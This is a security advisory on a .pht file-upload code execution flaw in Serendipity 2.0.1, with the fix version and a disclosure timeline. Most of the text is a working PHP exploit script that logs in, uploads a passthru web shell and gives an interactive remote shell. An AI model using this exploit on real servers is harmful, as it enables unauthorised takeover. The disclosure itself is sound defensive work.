Serendipity version2.0.1 suffers from a remote shell upload vulnerability.
671892062ef4118fe83fbe5821d80b6695057fb12b4ba258267f753e16a9d587
Serendipity 2.0.1: Code Execution
Security Advisory – Curesec Research Team
1. Introduction
Affected Product: Serendipity 2.0.1
Fixed in: 2.0.2
Fixed Version Link:
https://github.com/s9y/Serendipity/releases/download/2.0.2/serendipity-2.0.2.zip
Vendor Contact: serendipity@supergarv.de
Vulnerability Type: Code Execution
Remote Exploitable: Yes
Reported to vendor: 07/21/2015
Disclosed to public: 09/01/2015
Release mode: Coordinated release
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Vulnerability Description
Serendipity 2.0.1 does not allow the upload of .php, .php4, .php5,
.phtml files, or files starting with a dot - eg .htaccess files.
However, files with extension .pht can be uploaded by registered users,
and will be executed by most default Apache configurations.
The file upload is located here:
http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[adminAction]=addSelect
User registration either requires an admin to create the user, or the
plugin serendipity_plugin_adduser being activated. The default setting
for this plugin does not require an admin to accept the registration of
that user.
3. Proof of Concept
#!/usr/local/bin/php
<?php
if (count($argv) != 8 && count($argv) != 7) {
help($argv);
exit;
}
$cookieJar = tempnam('/tmp', 'cookie');
$user = $argv[1];
$pass = $argv[2];
$rootURL = $argv[3];
$loginURL = $argv[3] . '/' . $argv[4];
$uploadFormURL = $rootURL . '/' . $argv[5];
$shellFileName = $argv[6];
if (count($argv) == 7) {
$shellURL = $rootURL . '/uploads/' . basename($shellFileName);
} else {
$shellURL = $rootURL . '/' . $argv[7];
}
// login
echo "logging in as $user\n";
if (!login($loginURL, array(
"serendipity[user]" => $user,
"serendipity[pass]" => $pass,
"submit" => "Login"))) {
echo "could not log in\n";
exit;
}
echo "login done\n";
// csrf token
echo "getting anti CSRF token\n";
$nonce = getCSRFToken($uploadFormURL, $cookieJar);
echo "token: $nonce\n";
// uploading
echo "uploading $shellFileName to $shellURL\n";
$file = upload($uploadFormURL, $shellFileName,
"serendipity[userfile][1]", array(
"serendipity[token]" => $nonce,
"serendipity[action]" => "admin",
"serendipity[adminModule]" => "media",
"serendipity[adminAction]" => "add",
"serendipity[column_count][1]" => "true",
"serendipity[all_authors]" => "true",
"serendipity[imageimporttype]" => "image",
"serendipity[target_filename][]" => "",
"serendipity[target_directory][]" => ""), $cookieJar);
if ($file == false) {
echo "could not upload (possibly wrong extension? Only .pht is
allowed)\n";
exit;
}
echo "upload done\n";
// executing
echo "starting execution\n";
execute($shellURL, 'exec');
function help($argv) {
echo "usage: php " . $argv[0] . " [user] [pass] [root url] [login
path] [upload form path] [local shell file (pht), should contain <?php
passthru(\$_GET['exec']);] [shell path (optional, in case upload path is
non-standard)]\n
example: php " . $argv[0] . " admin admin http://localhost/serendipity
serendipity_admin.php
serendipity_admin.php?serendipity[adminModule]=media ./404.pht\n";
}
function upload($URL, $fileName, $fileFieldName, $additionalPost,
$cookieJar) {
$fileNameAbsolute = realpath($fileName);
$post = array($fileFieldName => '@' . $fileNameAbsolute);
$post = array_merge($post, $additionalPost);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $URL);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar);
$result = curl_exec($ch);
$success = strpos($result, "successfully uploaded as") !== false;
$tmp = preg_match("/successfully uploaded as (.*?)<\/span>/s",
$result, $matches);
curl_close($ch);
return $success ? $matches[1] : false;
}
function get($URL, $cookieJar = null) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $URL);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
function login($URL, $post) {
global $cookieJar;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $URL);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar);
$content = curl_exec($ch);
$success = strpos($content, "Logged in as") !== false;
curl_close($ch);
return $success;
}
function getCSRFToken($URL, $cookieJar) {
$content = get($URL, $cookieJar);
$tmp = preg_match("/input type=\"hidden\"
name=\"serendipity\[token\]\" value=\"(.*?)\" \//s", $content, $matches);
return $matches[1];
}
function execute($shellURL, $argsName) {
while (true) {
$line = readline("$: ");
if ($line == "quit" || $line == "exit") {
exit;
}
echo get($shellURL . "?" . $argsName . "=" . urlencode($line));
}
}
4. Code
The relevant function checking file extensions:
/include/functions_images.inc.php:16
function serendipity_isActiveFile($file) {
if (preg_match('@^\.@', $file)) {
return true;
}
$core =
preg_match('@\.(php.*|[psj]html?|aspx?|cgi|jsp|py|pl)$@i', $file);
if ($core) {
return true;
}
$eventData = false;
serendipity_plugin_api::hook_event('backend_media_check',
$eventData, $file);
return $eventData;
}
5. Solution
To mitigate this issue please upgrade at least to version 2.0.2:
https://github.com/s9y/Serendipity/releases/download/2.0.2/serendipity-2.0.2.zip
Please note that a newer version might already be available.
5. Report Timeline
07/21/2015 Informed Vendor about Issue
07/24/2015 Vendor releases Version 2.0.2
09/01/2015 Disclosed to public
6. Blog Reference:
http://blog.curesec.com/article/blog/Serendipity-201-Code-Execution-48.html